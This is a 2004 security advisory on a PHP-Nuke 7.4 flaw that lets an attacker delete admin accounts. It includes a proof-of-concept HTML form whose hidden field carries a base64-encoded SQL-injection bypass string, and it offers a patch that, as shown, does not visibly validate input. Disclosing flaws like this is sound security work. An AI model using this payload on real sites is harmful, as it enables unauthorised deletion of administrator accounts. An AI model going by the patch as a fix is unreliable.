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CODEBUG Labs Security Advisory 2

CODEBUG Labs Security Advisory 2
Posted Sep 9, 2004
Authored by Pierquinto Manco, CODEBUG Labs | Site mantralab.org

PHP-Nuke 7.4 has a cross site scripting flaw that allows an attacker the ability to delete any admin account. It is an old bug that has a patch that can be bypassed if the data is sent via a POST instead of a GET.

tags | advisory, php, xss
SHA-256 | 51573d83c3c65065bed02550784dc40a4c140a5fac13c9ead8bf3bd94ee4981f

CODEBUG Labs Security Advisory 2

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**************************************************************
* CODEBUG Labs
* Advisory #2
* Title: DelAdmin Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
**************************************************************

Delete Admin Bug

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to delete any Admin account
except God admin.
This bug is very old too but we can bypass the patch sending data
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
USERNAME: <input type="text" name="del_aid">

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="deladminconf">
<input type="submit" name="Submit" value="Delete Admin">
<br>
</p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['op']) ) {
$op = $HTTP_GET_VARS['op'];
}

if ( !empty($HTTP_POST_VARS['op']) ) {
$op = $HTTP_POST_VARS['op'];
}

-) Note

There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[op] and $_GET[op].
I'm going to post all this vulnerabilities on my site...
http://www.mantralab.org

**************************************************************
http://www.mantralab.org
**************************************************************
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